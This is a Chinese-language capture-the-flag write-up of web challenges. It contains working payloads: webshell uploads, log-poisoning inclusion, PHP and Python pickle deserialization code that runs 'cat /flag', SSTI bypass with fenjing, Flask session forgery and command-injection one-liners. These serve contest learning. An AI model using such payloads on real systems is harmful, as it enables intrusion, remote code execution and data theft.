ezGame 签到题,看源代码
找到flag.php,get传入score=2048就行
是兄弟就来传🐎 一句话木马上传,cmd.php包不行的
.jpg就行
抓包改成.php
蚁剑连接
根目录flag
My Blog 随便看看网页
用户名密码记下来
扫目录
flag点击就送
商师一日游
第一关,F12大法
碎片收集:sqctf{
第二关,改cookie
碎片收集:sqctf{82ca
第三关,找到你了
碎片收集:sqctf{82ca34867a
第四关,找robots.txt
碎片收集:sqctf{82ca34867ac54fdab
第五关,php代码绕过
碎片收集:sqctf{82ca34867ac54fdab779b0db0
第六关,删除disabled
碎片收集:sqctf{82ca34867ac54fdab779b0db01e553
进入最后一关
碎片收集sqctf{82ca34867ac54fdab779b0db01e55315}
eeaassyy
逃
baby include 有点蒙
根据大佬指点看文章:文件包含&日志注入
日志包含漏洞的成因还是服务器没有进行严格的过滤 ,导致用户可以进行任意文件读取,
但是前提是服务器需要开启了记录日志的功能才可以利用这个漏洞。
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
测试/var/log/nginx/access.log,成功
传个🐎
蚁剑连接http://challenge.qsnctf.com:31930/?look=/var/log/nginx/access.log,
嘿嘿嘿 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php highlight_file (__FILE__ );class hhh { public $file ; public $content ; public function __construct ($file , $content ) { $this ->file = $file ; $this ->content = $content ; } public function __destruct ( ) { if ($this ->file && $this ->content) { if (strpos ($this ->file, 'flag' ) !== false ) { die ("No flag file!" ); } if (file_exists ($this ->file)) { die ("File already exists!" ); } file_put_contents ($this ->file, $this ->content); } } } class xxx { public $data ; public function __construct ($data ) { $this ->data = $data ; } public function __toString ( ) { return $this ->data; } } class yyy { public $path ; public $allowed ; public function __construct ($path , $allowed ) { $this ->path = $path ; $this ->allowed = $allowed ; } public function __toString ( ) { if ($this ->allowed) { return file_get_contents ($this ->path); } else { return "Access Denied!" ; } } } if (isset ($_POST ['data' ])) { $data = unserialize ($_POST ['data' ]); if (is_array ($data ->file) || md5 ($data ->file) === md5 ("flag.php" )) { die ("No cheating!" ); } if (strpos ($data ->file, 'php://' ) !== false ) { die ("No php protocol!" ); } if ($data ->content === "GET_FLAG" ) { echo "Flag: " . file_get_contents ("flag.php" ); } } ?>
一开始我就陷入了一个误区,想着content === “GET_FLAG”,绕后就发现页面只有GET_FLAG,就不对。分析原因是我的解只会把”GET_FLAG”写入1.txt,然后就无了。
1 2 3 4 5 6 7 8 9 <?php class hhh { public $file = "1.txt" ; public $content = "GET_FLAG" ; } $a = new hhh ();echo serialize ($a );
之后问了一下AI,它说可以考虑利用yyy类,再看一眼,发现yyy类也有file_get_contents(我近视700度,视力有问题,Orz,Orz,Orz),所以可以利用yyy类把flag.php的内容赋值到类hhh的content里,然后把content的东西写到2.txt里,之后访问2.txt就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class hhh { public $file = "1.txt" ; public $content ; } class yyy { public $path = "flag.php" ; public $allowed = true ; } $a = new yyy ();$b = new hhh ();$b ->content = $a ;echo serialize ($b );?>
File_download xml
看提示
扫目录
出现了这个
下载FlagManager源码
根据ds指引下载了java反编译工具jd-gui
打开文件后出现了这个
看不懂java,但是觉得这一些字符串很像flag
ai跑脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def decrypt_flag (): key = [ 110 , 107 , 185 , 183 , 183 , 186 , 103 , 185 , 99 , 105 , 105 , 187 , 105 , 99 , 102 , 184 , 185 , 103 , 99 , 108 , 186 , 107 , 187 , 99 , 183 , 109 , 105 , 184 , 102 , 106 , 106 , 188 , 109 , 186 , 111 , 188 ] flag_chars = [] for value in key: original_char = (value ^ 0x30 ) - 38 flag_chars.append(chr (original_char)) flag = '' .join(flag_chars) print ("Decrypted flag is:" , flag) decrypt_flag()
结果:Decrypted flag is: 85caad1c-33e3-0bc1-6d5e-a73b044f7d9f
sqctf{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f}
?
解果大写一下就对了
SQCTF{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f}
ping 简单的ping
|:Shell管道符,将前一个命令的输出作为后一个命令的输入。
并且题目上已经有1了,所以自己的127就可以写成27
ls /
cat /flag
RceMe 限5绕过 ls /
下次出个限4,不然nl /*输出根目录下的所有内容直接就过了
小小查询系统 sql
测试闭合条件
测试回显位数
测试回显点位
数据库(ctf)
查表(flag)
查列(id,value)
结果
哎呀大大大黑塔
?
看PV
宇宙有天才? 大黑塔不歪玩到关服? 42? 0+0? 6+5?
黑塔女士举世无双!黑塔女士聪明绝顶!黑塔女士沉鱼落雁! ?
算了,开一把模拟宇宙找找灵感
都不对,看看wp吧
真对了,忘截图了Orz,Orz,Orz,反正就是GET传参就行了
Ok,ez反序列化,只需要key=SQCTF就行了
1 2 3 4 5 6 <?php class Secret { public $key ="SQCTF" ; } $a =new Secret (); echo serialize ($a );
data=O:6:”Secret”:1:{s:3:”key”;s:5:”SQCTF”;}
baby rce Level 1
sha1不识别数组,数组绕过
1 2 3 4 5 6 7 $token = false ;if (isset ($param1 ) && isset ($param2 )){ if (sha1 ($param1 ) == sha1 ($param2 )){ $token = true ; echo "Level 1 pass\n" ; } }
param1[]=123¶m2[]=321
Level 2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 class TYctf { public $person = 20 ; public $computer_number = 30 ; function getNumber ( ) { if (isset ($this ->person)) { echo $this ->person; } } function isFullUse ( ) { if ($this ->person != $this ->computer_number){ echo "computer is lacking !!!\n" ; } else { echo "computer is enough !!!\n" ; } } static function getKey ( ) { include ("flag.php" ); echo "Level 2 pass\n" ; echo "You are winner, this is your reward: \n" ; echo $flag ; } }
直接调用getKey函数输出就行
关于call_user_fnuc:call_user_func是PHP的内置函数,第一个参数是被调用的回调函数,其余参数是回调函数的参数
PHP手册连接:https://www.php.net/manual/zh/function.call-user-func.php
payload=TYctf::getKey就行
Upload_Level2 cmd包不行的
传🐎
蚁剑连接拿flag
intval() 函数可以获取变量的整数值,所以构造个小数就行
114514.1919810
逸一时,误一世,逸久逸久罢已龄
白月光 fenjing跑
测试过后这几个被ban了: 1 '__init__','__globals__','__builtins__','import','_','os'
脚本跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from fenjing import exec_cmd_payload, config_payloadimport logginglogging.basicConfig(level = logging.INFO) def waf (s: str ): blacklist = [ '__init__' ,'__globals__' ,'__builtins__' ,'import' ,'_' ,'os' ] return all (word not in s for word in blacklist) if __name__ == "__main__" : shell_payload, _ = exec_cmd_payload(waf, "ls /" ) config_payload = config_payload(waf) print (f"{shell_payload=} " ) print (f"{config_payload=} " )
ls /
cat /flag
pickle python反序列化,提示flag在/flag里
Pickle是Python的序列化模块,可以将对象转换为字节流(序列化),或从字节流重建对象(反序列化)。反序列化时,Pickle会按照字节流的指令重建对象,这一过程可能触发特定方法(如reduce),从而执行任意代码。 如果一个类定义了reduce方法,Pickle在序列化时会调用它。该方法返回一个元组:可调用对象:如函数、类构造器。参数:传递给可调用对象的参数。
反序列化时,Pickle会调用该对象并传递参数,从而实现代码执行。
通过构造reduce方法返回恶意函数和参数,攻击者可以在反序列化时执行任意命令。
文章:pickle反序列化漏洞基础知识与绕过简析
ds生成脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickleimport base64class Exploit : def __reduce__ (self ): return (eval , ( "str(__import__('subprocess').check_output('cat /flag', shell=True))" , )) payload = pickle.dumps(Exploit(), protocol=0 ) b64_payload = base64.b64encode(payload).decode() print (b64_payload)
Ez_calculate 快速计算
快速Ctrl+C,计算后POST提交也不行
ds脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsfrom bs4 import BeautifulSoupurl = "http://challenge.qsnctf.com:32607/" with requests.Session() as s: response = s.get(url) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser' ) challenge_div = soup.find('div' , class_='challenge' ) expression = challenge_div.text.strip() try : result = eval (expression) except : print ("计算表达式时出错" ) exit(1 ) post_data = {'value' : int (result)} post_response = s.post(url, data=post_data) print ("响应内容:" , post_response.text)
说明还需要点击这个按钮,再写一个点击的脚本就行
ds脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import requestsfrom bs4 import BeautifulSoupurl = "http://challenge.qsnctf.com:32607/" with requests.Session() as s: response = s.get(url) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser' ) expression = soup.find('div' , class_='challenge' ).text.strip() result = eval (expression) post_response = s.post(url, data={'value' : result}) if "Success" in post_response.text: print ("提交成功后的响应内容:\n" , post_response.text) flag_link = soup.find('a' , href=True , text='Enter to get flag' ) if flag_link: flag_url = flag_link['href' ] print ("发现flag链接:" , flag_url) else : flag_url = "/flag" flag_response = s.get(url + flag_url) print ("[DEBUG] Flag页面原始内容:\n" , flag_response.text) flag_soup = BeautifulSoup(flag_response.text, 'html.parser' ) flag = None if not flag: flag_element = flag_soup.find('pre' ) if flag_element: flag = flag_element.text.strip() if not flag: flag_element = flag_soup.find('div' , class_='flag' ) if flag_element: flag = flag_element.text.strip() if not flag: import re match = re.search(r'{.*?}' , flag_response.text) if match : flag = match .group() if flag: print ("成功获取Flag:" , flag) else : print ("未找到Flag,请检查页面结构:\n" , flag_response.text) else : print ("提交失败,响应内容:" , post_response.text)
ds拯救了py脚本不会写的我
伪装 代码:
分析一下,我们需要在/admin的路由下进行session伪造,密钥为love,使得is_admin=1,name=sjx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from flask import Flask, session, request, render_template_stringimport flaskimport osapp = Flask(__name__) app.secret_key = 'love' @app.route('/' ) def index (): session['role' ] = { 'is_admin' : 0 , 'name' : 'aiyamaya' } with open (__file__, 'r' ) as file: code = file.read() return code @app.route('/admin' ) def admin_handler (): try : role = session.get('role' ) if not isinstance (role, dict ): raise Exception except Exception: return 'Without you, you are an intruder!' if role.get('is_admin' ) == 1 and role.get('name' ) == 'sjx' : flag = os.popen("cat /flag" ).read() message = "Oh, You get me! The flag is: %s" % flag return render_template_string(message) else : return "Error: You don't have the power!" if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
命令行执行
1 flask-unsign --sign --cookie "{'role': {'is_admin': 1, 'name': 'sjx'}}" --secret 'love'
对flask session伪造的学习
Are you from SQNU? ez_http
点击按钮,出现了tyctf,进行POST传参
hhh=abc
该User-Agent
本地访问
该cookie
图片展示功能 展示一下,说明jpg文件可以上传
cmd.php不用想,肯定不行
传个1.jpg,看看行不行
GIF89a
抓包
改文件名,不行
传.htaccess文件,原理:把1.jpg当作PHP文件进行运行
蚁剑连接
拿flag
ggoodd ez_php
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ ); include ("flag.php" );$id =$_POST ['id' ];$json =json_decode ($_GET ['json' ],true );if ($id =='abc' &&$json ['x' ]=="cba" ){ echo $flag ; } ?>
其中JSON(JavaScript Object Notation)是一种轻量级数据交换格式,它使用键值对结构:
{“x”: “cba”,”id”: 123,”flag”: true}
所以GETjson={“x”:”cba”},POSTid=abc就行
开发人员的小失误 常见的sql文件或者扩展名:sql,zip,tar,txt,bak,old
扫目录就行
下载对应文件就行了